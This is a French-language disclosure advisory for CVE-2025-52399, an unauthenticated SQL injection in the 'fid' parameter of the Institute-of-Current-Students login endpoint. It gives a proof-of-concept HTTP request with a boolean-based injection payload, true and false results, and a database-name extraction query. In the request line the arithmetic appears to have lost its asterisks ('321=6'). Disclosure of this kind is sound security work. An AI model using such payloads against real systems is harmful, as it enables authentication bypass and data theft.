CVE-2025-52399 - Injection SQL dans Institute of Current Students

Résumé

Le point de terminaison loginlinkfaculty dans l'application Institute-of-Current-Students est vulnérable à une injection SQL via le paramètre POST fid. Le paramètre n'est pas correctement assaini avant d'être utilisé dans une requête SQL, permettant à des attaquants distants d'exécuter des commandes SQL arbitraires.

• Type de vulnérabilité : Injection SQL
• Composant affecté : /loginlinkfaculty (POST)
• Paramètre affecté : fid
• Authentification : Non requise
• Impact : Contournement d'authentification, extraction de données
• Testé sur : Localhost
• Base de données : icsnew
• Version : 1.0

PoC

Requête HTTP

http POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+321=6+AND+000942=000942--&pass=example

Résultat du payload

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → VRAI ❌ -1' OR 2*3=4 AND 000942=000942 -- → FAUX

Extraction de la base de données

SELECT database(); -- returns 'icsnew'

Références

• CVE-2025-52399 (MITRE)
• Application vulnérable
• OWASP SQL Injection

Découvreur

Isroil Mustafoqulov